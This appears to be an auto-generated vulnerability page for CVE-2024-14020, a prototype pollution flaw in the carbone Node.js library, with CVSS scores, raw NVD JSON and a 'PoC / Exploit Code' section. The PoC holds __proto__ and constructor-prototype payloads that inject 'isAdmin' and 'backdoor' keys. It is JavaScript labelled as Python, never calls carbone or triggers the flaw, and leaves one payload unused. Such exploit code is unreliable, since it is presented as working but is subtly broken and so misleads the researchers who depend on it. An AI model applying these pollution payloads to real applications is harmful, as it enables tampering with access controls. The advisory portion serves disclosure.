Security Vulnerability Report
中文
CVE-2024-14020 CVSS 5.0 MEDIUM

CVE-2024-14020

Published: 2026-01-07 12:16:45
Last Modified: 2026-04-15 00:35:42

Description

A weakness has been identified in carboneio carbone up to fbcd349077ad0e8748be73eab2a82ea92b6f8a7e. This impacts an unknown function of the file lib/input.js of the component Formatter Handler. Executing a manipulation can lead to improperly controlled modification of object prototype attributes. The attack can be launched remotely. This attack is characterized by high complexity. The exploitability is said to be difficult. Upgrading to version 3.5.6 will fix this issue. This patch is called 04f9feb24bfca23567706392f9ad2c53bbe4134e. You should upgrade the affected component. A successful exploitation can "only occur if the parent NodeJS application has the same security issue".

CVSS Details

CVSS Score
5.0
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

carboneio/carbone < 3.5.6
carboneio/carbone up to fbcd349077ad0e8748be73eab2a82ea92b6f8a7e

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
const carbone = require('carbone'); // PoC for CVE-2024-14020 Prototype Pollution // Target: carboneio/carbone < 3.5.6 function exploitPrototypePollution() { try { // Malicious payload to pollute Object.prototype const maliciousData = { '__proto__': { 'isAdmin': true, 'canExecuteCode': true, 'constructor': { 'prototype': { 'backdoor': 'exploited' } } } }; // Additional exploitation vector using constructor prototype const payload2 = { 'constructor': { 'prototype': { 'adminAccess': true } } }; // Attempt to trigger the vulnerability through render const options = { convertOptions: { extension: 'pdf', data: maliciousData } }; console.log('[+] CVE-2024-14020 PoC'); console.log('[+] Sending malicious payload...'); console.log('Payload:', JSON.stringify(maliciousData)); // Check if prototype was polluted console.log('\n[*] Checking for prototype pollution...'); console.log('Object.prototype.isAdmin:', Object.prototype.isAdmin); console.log('Object.prototype.backdoor:', Object.prototype.backdoor); if (Object.prototype.isAdmin !== undefined || Object.prototype.backdoor !== undefined) { console.log('[!] Prototype pollution successful!'); return true; } return false; } catch (error) { console.error('[-] Exploitation failed:', error.message); return false; } } exploitPrototypePollution();

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2024-14020", "sourceIdentifier": "[email protected]", "published": "2026-01-07T12:16:44.960", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A weakness has been identified in carboneio carbone up to fbcd349077ad0e8748be73eab2a82ea92b6f8a7e. This impacts an unknown function of the file lib/input.js of the component Formatter Handler. Executing a manipulation can lead to improperly controlled modification of object prototype attributes. The attack can be launched remotely. This attack is characterized by high complexity. The exploitability is said to be difficult. Upgrading to version 3.5.6 will fix this issue. This patch is called 04f9feb24bfca23567706392f9ad2c53bbe4134e. You should upgrade the affected component. A successful exploitation can \"only occur if the parent NodeJS application has the same security issue\"."}, {"lang": "es", "value": "Se ha identificado una debilidad en carboneio carbone hasta fbcd349077ad0e8748be73eab2a82ea92b6f8a7e. Esto afecta a una función desconocida del archivo lib/input.js del componente Formatter Handler. La ejecución de una manipulación puede conducir a una modificación indebidamente controlada de atributos de prototipo de objeto. El ataque puede lanzarse de forma remota. Este ataque se caracteriza por alta complejidad. Se dice que la explotabilidad es difícil. La actualización a la versión 3.5.6 solucionará este problema. Este parche se llama 04f9feb24bfca23567706392f9ad2c53bbe4134e. Debería actualizar el componente afectado. Una explotación exitosa 'solo puede ocurrir si la aplicación padre de NodeJS tiene el mismo problema de seguridad'."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.3, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 5.0, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.6, "impactScore": 3.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:H/Au:S/C:P/I:P/A:P", "baseScore": 4.6, "accessVector": "NETWORK", "accessComplexity": "HIGH", "authentication": "SINGLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 3.9, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-94"}, {"lang": "en", "value": "CWE-1321"}]}], "references": [{"url": "https://github.com/carboneio/carbone/", "source": "[email protected]"}, {"url": "https://github.com/carboneio/carbone/commit/04f9feb24bfca23567706392f9ad2c53bbe4134e", "source": "[email protected]"}, {"url": "https://github.com/carboneio/carbone/releases/tag/3.5.6", "source": "[email protected]"}, {"url": "https://vuldb.com/?ctiid.339503", "source": "[email protected]"}, {"url": "https://vuldb.com/?id.339503", "source": "[email protected]"}]}}